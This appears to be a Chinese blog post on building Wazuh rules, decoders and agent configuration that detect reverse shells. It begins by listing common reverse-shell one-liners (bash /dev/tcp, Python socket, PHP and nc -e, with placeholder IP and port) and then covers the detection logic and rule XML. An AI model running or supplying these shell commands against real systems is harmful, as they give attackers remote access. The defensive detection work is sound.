Wauzh自定義反彈shell告警規(guī)則

常見反彈:

bash -i >& /dev/tcp/ip/port?0>&1

python -c?"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r?'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r?'$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

測(cè)試截圖:

nc:

bash:


反彈原理:簡(jiǎn)單來(lái)說(shuō)就是被控制端發(fā)起對(duì)控制端監(jiān)聽端口的請(qǐng)求,并將命令行的輸入輸出轉(zhuǎn)到控制端凭疮,相當(dāng)于我們常見的客戶端及服務(wù)端角色反轉(zhuǎn)沾乘。

參考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548?原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html文件標(biāo)識(shí)符FD的解釋

規(guī)則設(shè)計(jì):如果bash進(jìn)程有遠(yuǎn)程socket但是沒有tty避矢,那么就認(rèn)定是一個(gè)反彈shell

1箫攀、檢查/bin/bash進(jìn)程(ps -ef|grep bash)

2、lsof -p $pid

3隧魄、遍歷lsof結(jié)果

當(dāng)TYPE中包含CHR且NAME中有(tty|pts|ptmx)

TYPE中包含'IP'藻糖,并且該行包括關(guān)鍵字'ESTABLISHED',并獲取控制端IP信息叮喳,正則匹配->和:之間的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

FD為'cwd'被芳,展示該行的NAME

wazuh配置

1、配置audit告警/bin/bash執(zhí)行馍悟,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2畔濒、wazuh告警

rule.id:80792


3、依據(jù)audit內(nèi)容調(diào)整規(guī)則锣咒,但是wazuh是以日志為前提條件產(chǎn)生告警的侵状,因此無(wú)法通過(guò)規(guī)則來(lái)觸發(fā)執(zhí)行赞弥,以下檢測(cè)方式只能通過(guò)腳本執(zhí)行:

? ?exe="/bin/bash"+type=EXECVE+包含=“-i”

? ?執(zhí)行l(wèi)sof -p $pid

? ?判斷TYPE中包含'IP',并且該行包括關(guān)鍵字'ESTABLISHED'趣兄,并獲取控制端IP信息绽左,正則匹配->和:之間的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

4、通過(guò)端口以及進(jìn)程來(lái)判斷

客戶端配置/bin/bash的監(jiān)控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置執(zhí)行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'? (rule.id=100005)

當(dāng)10005和80792同時(shí)出現(xiàn)時(shí)艇潭,存在反彈shell拼窥,告警100006

agent.conf 編寫:

<agent_config>

?????<wodle name="command">

????????<disabled>no</disabled>

????????<tag>reverse shell test</tag>

????????netstat -antlp | grep ESTABLISHED | egrep?'/(bash|sh)'</command> #查看是否存在以bash或者sh為名的遠(yuǎn)程連接

????????<interval>5s</interval>

????????<ignore_output>no</ignore_output>

????????<run_on_start>yes</run_on_start>

????????<timeout>0</timeout>

????</wodle>

</agent_config>

decoders.xml編寫

<decoder name="check_reverse_shell">

????<prematch>^tcp</prematch>

</decoder>

<decoder name="check_revsrse_shell_info">

????<parent>check_reverse_shell</parent>

????<regex offset="after_parent">\s*(\d+)\s*</regex>? #wazuh上適用的regex不一樣,需嚴(yán)格遵守官網(wǎng)https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

????<order>send_q</order>

</decoder>

<decoder name="check_revsrse_shell_info">

????<parent>check_reverse_shell</parent>

????<regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

????<order>srcip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

????<parent>check_reverse_shell</parent>

????<regex offset="after_regex">\p(\d+)</regex>

????<order>srcport</order>

</decoder>

<decoder name="check_revsrse_shell_info">

????<parent>check_reverse_shell</parent>

????<regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

????<order>dstip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

????<parent>check_reverse_shell</parent>

????<regex offset="after_regex">\p(\d+)</regex>

????<order>dstport</order>

</decoder>

rule.xml編寫

<group name="attack,">

????<rule id="100005"?level="7">? #不能在此就和80792匹配蹋凝,官網(wǎng)沒有找到答案鲁纠,在默認(rèn)規(guī)則里也沒有找到,猜測(cè)可能是因?yàn)樵摋l規(guī)則通過(guò)日志解析以及l(fā)evel配置后是必定會(huì)告警鳍寂,但是與if_sid的前提條件產(chǎn)生先有蛋還是先有雞的沖突房交,因此需要在規(guī)則匹配產(chǎn)生告警后,才能進(jìn)一步去關(guān)聯(lián)

????????<decoded_as>check_reverse_shell</decoded_as>

????????<match>ESTABLISHED</match>

????????<regex>/bash|/sh</regex>

????????<description>bash|sh netstat information</description>

????</rule>

????<rule id="100006"?level="12"?timeframe="10"?frequency="2">

????????<if_sid>100005</if_sid>

????????<if_matched_sid>80792</if_matched_sid>

????????<description>There could be reverse shell.Plz check.</description>

????</rule>

</group>

告警展示


?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末伐割,一起剝皮案震驚了整個(gè)濱河市候味,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌隔心,老刑警劉巖白群,帶你破解...
    沈念sama閱讀 211,042評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異硬霍,居然都是意外死亡帜慢,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,996評(píng)論 2 384
  • 文/潘曉璐 我一進(jìn)店門唯卖,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)粱玲,“玉大人,你說(shuō)我怎么就攤上這事拜轨〕榧酰” “怎么了?”我有些...
    開封第一講書人閱讀 156,674評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵橄碾,是天一觀的道長(zhǎng)卵沉。 經(jīng)常有香客問我,道長(zhǎng)法牲,這世上最難降的妖魔是什么史汗? 我笑而不...
    開封第一講書人閱讀 56,340評(píng)論 1 283
  • 正文 為了忘掉前任淀散,我火速辦了婚禮马胧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘转绷。我一直安慰自己悼瓮,他們只是感情好戈毒,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,404評(píng)論 5 384
  • 文/花漫 我一把揭開白布艰猬。 她就那樣靜靜地躺著,像睡著了一般副硅。 火紅的嫁衣襯著肌膚如雪姥宝。 梳的紋絲不亂的頭發(fā)上翅萤,一...
    開封第一講書人閱讀 49,749評(píng)論 1 289
  • 那天恐疲,我揣著相機(jī)與錄音,去河邊找鬼套么。 笑死培己,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的胚泌。 我是一名探鬼主播省咨,決...
    沈念sama閱讀 38,902評(píng)論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼玷室!你這毒婦竟也來(lái)了零蓉?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,662評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤穷缤,失蹤者是張志新(化名)和其女友劉穎敌蜂,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體津肛,經(jīng)...
    沈念sama閱讀 44,110評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡章喉,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,451評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了身坐。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片秸脱。...
    茶點(diǎn)故事閱讀 38,577評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖部蛇,靈堂內(nèi)的尸體忽然破棺而出摊唇,到底是詐尸還是另有隱情,我是刑警寧澤涯鲁,帶...
    沈念sama閱讀 34,258評(píng)論 4 328
  • 正文 年R本政府宣布遏片,位于F島的核電站,受9級(jí)特大地震影響撮竿,放射性物質(zhì)發(fā)生泄漏吮便。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,848評(píng)論 3 312
  • 文/蒙蒙 一幢踏、第九天 我趴在偏房一處隱蔽的房頂上張望髓需。 院中可真熱鬧,春花似錦房蝉、人聲如沸僚匆。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,726評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)咧擂。三九已至逞盆,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間松申,已是汗流浹背云芦。 一陣腳步聲響...
    開封第一講書人閱讀 31,952評(píng)論 1 264
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留贸桶,地道東北人舅逸。 一個(gè)月前我還...
    沈念sama閱讀 46,271評(píng)論 2 360
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像皇筛,于是被迫代替她去往敵國(guó)和親琉历。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,452評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容